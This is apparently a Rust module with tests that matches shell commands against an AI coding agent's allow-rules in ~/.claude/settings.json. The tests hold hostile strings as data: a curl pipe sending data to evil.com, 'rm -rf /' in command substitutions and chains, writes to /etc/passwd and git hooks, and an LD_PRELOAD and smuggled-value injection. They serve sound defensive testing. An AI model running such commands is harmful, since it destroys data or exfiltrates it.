1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9 home: String,
11}
12
13fn canonicalize_home(text: &str, home: &str) -> String {
28 if home.is_empty() || home == "/" {
29 return text.to_string();
30 }
31 let home = home.strip_suffix('/').unwrap_or(home);
32 text.split(' ')
33 .map(|word| match word.strip_prefix("~/") {
34 Some(rest) => format!("{home}/{rest}"),
35 None if word == "~" => home.to_string(),
36 None => word.to_string(),
37 })
38 .collect::<Vec<_>>()
39 .join(" ")
40}
41
42impl Matcher {
43 pub fn load() -> Self {
49 match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53 Some(home) => Self::load_from_home(Path::new(&home)),
54 None => Matcher {
55 exact: HashSet::new(),
56 globs: Vec::new(),
57 home: String::new(),
58 },
59 }
60 }
61
62 fn load_from_home(home: &Path) -> Self {
63 let mut patterns = Matcher {
64 exact: HashSet::new(),
65 globs: Vec::new(),
66 home: home.to_string_lossy().into_owned(),
67 };
68 patterns.load_file(&home.join(".claude/settings.json"));
69 patterns
70 }
71
72 fn load_file(&mut self, path: &Path) {
73 let Ok(contents) = std::fs::read_to_string(path) else {
74 return;
75 };
76 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
77 return;
78 };
79
80 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
81 for entry in arr.iter().filter_map(|e| e.as_str()) {
82 self.add_pattern(entry);
83 }
84 }
85
86 if let Some(arr) = value
87 .get("permissions")
88 .and_then(|v| v.get("allow"))
89 .and_then(|v| v.as_array())
90 {
91 for entry in arr.iter().filter_map(|e| e.as_str()) {
92 self.add_pattern(entry);
93 }
94 }
95 }
96
97 fn add_pattern(&mut self, entry: &str) {
98 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
99 return;
100 };
101 if inner.is_empty() {
102 return;
103 }
104 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
105 format!("{prefix} *")
106 } else {
107 inner.to_string()
108 };
109 let normalized = canonicalize_home(&normalized, &self.home);
110 if normalized.contains('*') {
111 self.globs
112 .push(normalized.split('*').map(String::from).collect());
113 } else {
114 self.exact.insert(normalized);
115 }
116 }
117
118 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
119 let Cmd::Simple(simple) = cmd else {
120 return false;
121 };
122 let Some(normalized) = check::normalize_for_matching(simple) else {
125 return false;
126 };
127 let normalized = canonicalize_home(normalized.trim(), &self.home);
128 let normalized = normalized.as_str();
129 if normalized.is_empty() {
130 return false;
131 }
132 if self.exact.contains(normalized) {
133 return true;
134 }
135 self.globs
136 .iter()
137 .any(|parts| glob_matches(parts, normalized))
138 }
139
140 pub fn is_empty(&self) -> bool {
141 self.exact.is_empty() && self.globs.is_empty()
142 }
143
144 #[cfg(test)]
145 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
146 let mut m = Matcher {
147 exact: HashSet::new(),
148 globs: Vec::new(),
149 home: TEST_HOME.to_string(),
150 };
151 for p in patterns {
152 m.add_pattern(&format!("Bash({p})"));
153 }
154 m
155 }
156}
157
158#[cfg(test)]
160const TEST_HOME: &str = "/home/tester";
161
162pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
163 match cmd {
164 Cmd::Simple(_) => {
165 check::is_safe_cmd(cmd)
166 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
167 }
168 _ => check::is_safe_cmd(cmd),
169 }
170}
171
172fn glob_matches(parts: &[String], text: &str) -> bool {
173 let first = &parts[0];
174 let last = &parts[parts.len() - 1];
175
176 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
177 let prefix = &first[..first.len() - 1];
178 return text == prefix || text.starts_with(first.as_str());
179 }
180
181 if !text.starts_with(first.as_str()) {
182 return false;
183 }
184 if !text.ends_with(last.as_str()) {
185 return false;
186 }
187 let mut pos = first.len();
188 let end = text.len() - last.len();
189 if pos > end {
190 return false;
191 }
192 for part in &parts[1..parts.len() - 1] {
193 match text[pos..end].find(part.as_str()) {
194 Some(idx) => pos += idx + part.len(),
195 None => return false,
196 }
197 }
198 pos <= end
199}
200
201#[cfg(test)]
202mod tests {
203 use super::*;
204 use std::fs;
205
206 use crate::cst;
207
208 fn empty() -> Matcher {
209 Matcher {
210 exact: HashSet::new(),
211 globs: Vec::new(),
212 home: TEST_HOME.to_string(),
213 }
214 }
215
216 fn cmd(s: &str) -> Cmd {
217 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
218 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
219 assert_eq!(
220 script.0[0].pipeline.commands.len(),
221 1,
222 "expected single command: {s}"
223 );
224 script.0[0].pipeline.commands[0].clone()
225 }
226
227 fn segments(command: &str) -> Vec<Cmd> {
228 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
229 script
230 .0
231 .into_iter()
232 .flat_map(|stmt| stmt.pipeline.commands)
233 .collect()
234 }
235
236 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
237 is_cmd_covered(cmd, patterns)
238 }
239
240 fn all_covered(command: &str, patterns: &Matcher) -> bool {
241 let Some(script) = cst::parse(command) else {
242 return false;
243 };
244 script.0.iter().all(|stmt| {
245 check::is_safe_pipeline(&stmt.pipeline)
246 || stmt
247 .pipeline
248 .commands
249 .iter()
250 .all(|c| is_cmd_covered(c, patterns))
251 })
252 }
253
254 #[test]
255 fn parse_exact_pattern() {
256 let mut p = empty();
257 p.add_pattern("Bash(npm test)");
258 assert!(p.exact.contains("npm test"));
259 assert!(p.globs.is_empty());
260 }
261
262 #[test]
263 fn parse_legacy_colon_star() {
264 let mut p = empty();
265 p.add_pattern("Bash(npm run:*)");
266 assert!(p.exact.is_empty());
267 assert_eq!(p.globs.len(), 1);
268 }
269
270 #[test]
271 fn parse_space_star() {
272 let mut p = empty();
273 p.add_pattern("Bash(npm run *)");
274 assert!(p.exact.is_empty());
275 assert_eq!(p.globs.len(), 1);
276 }
277
278 #[test]
279 fn parse_non_bash_skipped() {
280 let mut p = empty();
281 p.add_pattern("WebFetch");
282 p.add_pattern("XcodeBuildMCP");
283 assert!(p.is_empty());
284 }
285
286 #[test]
287 fn parse_empty_bash_skipped() {
288 let mut p = empty();
289 p.add_pattern("Bash()");
290 assert!(p.is_empty());
291 }
292
293 #[test]
294 fn match_exact() {
295 let mut p = empty();
296 p.add_pattern("Bash(npm test)");
297 assert!(p.matches_cmd(&cmd("npm test")));
298 assert!(!p.matches_cmd(&cmd("npm test --watch")));
299 }
300
301 #[test]
302 fn match_space_star_word_boundary() {
303 let mut p = empty();
304 p.add_pattern("Bash(ls *)");
305 assert!(p.matches_cmd(&cmd("ls -la")));
306 assert!(p.matches_cmd(&cmd("ls foo")));
307 assert!(!p.matches_cmd(&cmd("lsof")));
308 }
309
310 #[test]
311 fn match_star_no_space_no_boundary() {
312 let mut p = empty();
313 p.add_pattern("Bash(ls*)");
314 assert!(p.matches_cmd(&cmd("ls -la")));
315 assert!(p.matches_cmd(&cmd("lsof")));
316 }
317
318 #[test]
319 fn match_legacy_colon_star_word_boundary() {
320 let mut p = empty();
321 p.add_pattern("Bash(npm run:*)");
322 assert!(p.matches_cmd(&cmd("npm run build")));
323 assert!(p.matches_cmd(&cmd("npm run test")));
324 assert!(!p.matches_cmd(&cmd("npm running")));
325 assert!(!p.matches_cmd(&cmd("npm install")));
326 }
327
328 #[test]
329 fn match_star_at_beginning() {
330 let mut p = empty();
331 p.add_pattern("Bash(* --version)");
332 assert!(p.matches_cmd(&cmd("npm --version")));
333 assert!(p.matches_cmd(&cmd("cargo --version")));
334 assert!(!p.matches_cmd(&cmd("npm --help")));
335 }
336
337 #[test]
338 fn match_star_in_middle() {
339 let mut p = empty();
340 p.add_pattern("Bash(git * main)");
341 assert!(p.matches_cmd(&cmd("git checkout main")));
342 assert!(p.matches_cmd(&cmd("git merge main")));
343 assert!(!p.matches_cmd(&cmd("git checkout develop")));
344 }
345
346 #[test]
360 fn match_env_prefix_is_not_stripped() {
361 let mut p = empty();
362 p.add_pattern("Bash(bundle install)");
363 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
364 assert!(p.matches_cmd(&cmd("bundle install")));
365
366 let mut q = empty();
367 q.add_pattern("Bash(RACK_ENV=test bundle install)");
368 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
369 }
370
371 #[test]
372 fn match_fd_redirect_stripped() {
373 let mut p = empty();
374 p.add_pattern("Bash(npm test)");
375 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
376 }
377
378 #[test]
379 fn match_fd_redirect_with_glob() {
380 let mut p = empty();
381 p.add_pattern("Bash(npm run *)");
382 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
383 }
384
385 #[test]
386 fn empty_patterns_match_nothing() {
387 let p = empty();
388 assert!(!p.matches_cmd(&cmd("anything")));
389 }
390
391 #[test]
392 fn match_bare_star_matches_everything() {
393 let mut p = empty();
394 p.add_pattern("Bash(*)");
395 assert!(p.matches_cmd(&cmd("anything at all")));
396 assert!(p.matches_cmd(&cmd("rm -rf /")));
397 }
398
399 #[test]
400 fn unsafe_syntax_not_bypassed_by_match() {
401 let mut p = empty();
402 p.add_pattern("Bash(./script.sh *)");
403 let c = cmd("./script.sh > /etc/passwd");
404 assert!(check::has_unsafe_syntax(&c));
405 assert!(!is_covered(&c, &p));
406 }
407
408 #[test]
409 fn command_substitution_not_bypassed_by_match() {
410 let mut p = empty();
411 p.add_pattern("Bash(./script.sh *)");
412 let c = cmd("./script.sh $(rm -rf /)");
413 assert!(!is_covered(&c, &p));
414 }
415
416 #[test]
417 fn mixed_chain_safe_plus_settings() {
418 let mut p = empty();
419 p.add_pattern("Bash(./generate-docs.sh)");
420 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
421 }
422
423 #[test]
424 fn mixed_chain_safe_plus_unapproved_denied() {
425 let mut p = empty();
426 p.add_pattern("Bash(./generate-docs.sh)");
427 assert!(!all_covered("cargo test && rm -rf /", &p));
428 }
429
430 #[test]
431 fn glob_does_not_cross_chain_boundary() {
432 let mut p = empty();
433 p.add_pattern("Bash(cargo test *)");
434 let cmds = segments("cargo test --release && rm -rf /");
435 assert_eq!(cmds.len(), 2);
436 assert!(p.matches_cmd(&cmds[0]));
437 assert!(!p.matches_cmd(&cmds[1]));
438 assert!(!all_covered("cargo test --release && rm -rf /", &p));
439 }
440
441 #[test]
442 fn glob_does_not_cross_pipe_boundary() {
443 let mut p = empty();
444 p.add_pattern("Bash(safe-cmd *)");
445 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
446 }
447
448 #[test]
449 fn glob_does_not_cross_semicolon_boundary() {
450 let mut p = empty();
451 p.add_pattern("Bash(safe-cmd *)");
452 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
453 }
454
455 #[test]
456 fn file_redirect_promoted_to_safewrite() {
457 let p = empty();
458 let c = cmd("echo > out.txt");
459 assert!(is_covered(&c, &p));
460 }
461
462 #[test]
463 fn redirect_to_sensitive_target_not_covered() {
464 let p = empty();
465 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
466 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
467 }
468
469 #[test]
470 fn bare_star_blocked_by_unsafe_syntax_backtick() {
471 let mut p = empty();
472 p.add_pattern("Bash(*)");
473 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
474 }
475
476 #[test]
477 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
478 let mut p = empty();
479 p.add_pattern("Bash(*)");
480 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
481 }
482
483 #[test]
484 fn safe_command_substitution_allowed_through_is_safe() {
485 let p = empty();
486 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
489 }
490
491 #[test]
492 fn nested_shell_not_recursively_validated_by_settings() {
493 let mut p = empty();
494 p.add_pattern("Bash(bash *)");
495 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
496 assert!(!check::is_safe_cmd(&c));
497 assert!(!check::has_unsafe_syntax(&c));
498 assert!(is_covered(&c, &p));
499 }
500
501 #[test]
502 fn nested_shell_redirect_promoted_to_safewrite() {
503 let p = empty();
504 let c = cmd("bash -c 'echo hello' > /tmp/out");
505 assert!(is_covered(&c, &p));
506 }
507
508 #[test]
509 fn quoted_operators_stay_as_one_segment() {
510 let mut p = empty();
511 p.add_pattern("Bash(./script *)");
512 assert!(all_covered("./script 'arg && rm -rf /'", &p));
513 }
514
515 #[test]
516 fn load_from_home_reads_home_settings() {
517 let home = tempfile::tempdir().unwrap();
518 let claude_dir = home.path().join(".claude");
519 fs::create_dir_all(&claude_dir).unwrap();
520 fs::write(
521 claude_dir.join("settings.json"),
522 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
523 )
524 .unwrap();
525 let p = Matcher::load_from_home(home.path());
526 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
527 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
528 assert!(!p.matches_cmd(&cmd("./evil.sh")));
529 }
530
531 #[test]
532 fn load_from_home_ignores_project_settings() {
533 let home = tempfile::tempdir().unwrap();
537 let project = tempfile::tempdir().unwrap();
538 let project_claude = project.path().join(".claude");
539 fs::create_dir_all(&project_claude).unwrap();
540 fs::write(
541 project_claude.join("settings.json"),
542 r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
543 )
544 .unwrap();
545 let p = Matcher::load_from_home(home.path());
546 assert!(!p.matches_cmd(&cmd("rm -rf /")));
547 assert!(p.is_empty());
548 }
549
550 #[test]
551 fn load_from_home_chains_with_builtins() {
552 let home = tempfile::tempdir().unwrap();
553 let claude_dir = home.path().join(".claude");
554 fs::create_dir_all(&claude_dir).unwrap();
555 fs::write(
556 claude_dir.join("settings.json"),
557 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
558 )
559 .unwrap();
560 let p = Matcher::load_from_home(home.path());
561 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
562 assert!(!all_covered("cargo test && ./evil.sh", &p));
563 }
564
565 #[test]
566 fn load_file_nonexistent() {
567 let mut p = empty();
568 p.load_file(Path::new("/nonexistent/path/settings.json"));
569 assert!(p.is_empty());
570 }
571
572 #[test]
573 fn load_file_malformed_json() {
574 let dir = tempfile::tempdir().unwrap();
575 let path = dir.path().join("settings.json");
576 std::fs::write(&path, "not json{{{").unwrap();
577 let mut p = empty();
578 p.load_file(&path);
579 assert!(p.is_empty());
580 }
581
582 #[test]
583 fn load_file_approved_commands() {
584 let dir = tempfile::tempdir().unwrap();
585 let path = dir.path().join("settings.json");
586 fs::write(
587 &path,
588 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
589 )
590 .unwrap();
591 let mut p = empty();
592 p.load_file(&path);
593 assert!(p.matches_cmd(&cmd("npm test")));
594 assert!(p.matches_cmd(&cmd("npm run build")));
595 assert!(!p.matches_cmd(&cmd("curl evil.com")));
596 }
597
598 #[test]
599 fn load_file_permissions_allow() {
600 let dir = tempfile::tempdir().unwrap();
601 let path = dir.path().join("settings.json");
602 fs::write(
603 &path,
604 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
605 )
606 .unwrap();
607 let mut p = empty();
608 p.load_file(&path);
609 assert!(p.matches_cmd(&cmd("cargo test")));
610 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
611 }
612
613 #[test]
614 fn load_file_both_fields() {
615 let dir = tempfile::tempdir().unwrap();
616 let path = dir.path().join("settings.json");
617 fs::write(
618 &path,
619 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
620 )
621 .unwrap();
622 let mut p = empty();
623 p.load_file(&path);
624 assert!(p.matches_cmd(&cmd("npm test")));
625 assert!(p.matches_cmd(&cmd("cargo test --release")));
626 }
627}
628
629#[cfg(test)]
641mod env_prefix_matching_tests {
642 use super::*;
643 use crate::cst;
644
645 fn cmd(s: &str) -> Cmd {
646 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
647 script.0[0].pipeline.commands[0].clone()
648 }
649
650 fn matcher(patterns: &[&str]) -> Matcher {
651 Matcher::from_allow_patterns(patterns)
652 }
653
654 #[test]
655 fn a_plain_command_still_matches_its_rule() {
656 let m = matcher(&["~/runner-scripts/x.sh:*"]);
657 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
658 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
659 }
660
661 #[test]
665 fn a_home_grant_covers_both_spellings_of_the_same_file() {
666 for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
667 let m = matcher(&[rule]);
668 for c in [
669 "~/runner-scripts/x.sh",
670 "/home/tester/runner-scripts/x.sh",
671 "~/runner-scripts/x.sh --dry-run",
672 "/home/tester/runner-scripts/x.sh --dry-run",
673 ] {
674 assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
675 }
676 }
677 }
678
679 #[test]
682 fn a_home_grant_covers_both_spellings_in_an_argument() {
683 let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
684 assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
685 assert!(m.matches_cmd(&cmd(
686 "osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains"
687 )));
688 }
689
690 #[test]
693 fn another_users_home_is_not_expanded() {
694 let m = matcher(&["~/runner-scripts/x.sh:*"]);
695 assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
696 assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
697 }
698
699 #[test]
702 fn a_home_variable_is_not_expanded() {
703 let m = matcher(&["~/runner-scripts/x.sh:*"]);
704 assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
705 }
706
707 #[test]
708 fn an_env_prefix_does_not_match_a_rule_without_one() {
709 let m = matcher(&["~/runner-scripts/x.sh:*"]);
710 for c in [
711 "WRITE=1 ~/runner-scripts/x.sh",
712 "WRITE=1 ~/runner-scripts/x.sh --project p",
713 "PROJECT=p ~/runner-scripts/x.sh",
714 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
715 ] {
716 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
717 }
718 }
719
720 #[test]
721 fn a_rule_that_declares_the_env_prefix_matches_it() {
722 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
724 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
725 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
726 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
727 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
729 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
730 }
731
732 #[test]
733 fn every_assignment_must_be_accounted_for() {
734 let m = matcher(&["A=1 tool:*"]);
735 assert!(m.matches_cmd(&cmd("A=1 tool")));
736 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
738 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
739 }
740
741 #[test]
742 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
743 let exact = matcher(&["tool run"]);
744 assert!(exact.matches_cmd(&cmd("tool run")));
745 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
746 }
747
748 #[test]
754 fn a_value_containing_whitespace_matches_no_rule() {
755 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
756 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
757 assert!(
758 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
759 "a spaced value smuggled the pattern and matched a different program",
760 );
761
762 let n = matcher(&["FOO=bar baz ls"]);
764 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
767
768 #[test]
772 fn a_quoted_word_still_matches() {
773 let m = matcher(&["git commit -m:*"]);
774 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
775 }
776
777 #[test]
781 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
782 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
783 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
784 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
785
786 let mut checked = 0;
787 for rule in rules {
788 let m = matcher(&[rule]);
789 for c in commands {
790 if !m.matches_cmd(&cmd(c)) {
791 continue; }
793 for a in assignments {
794 let prefixed = format!("{a} {c}");
795 assert!(
796 !m.matches_cmd(&cmd(&prefixed)),
797 "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
798 );
799 checked += 1;
800 }
801 }
802 }
803 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
804 }
805}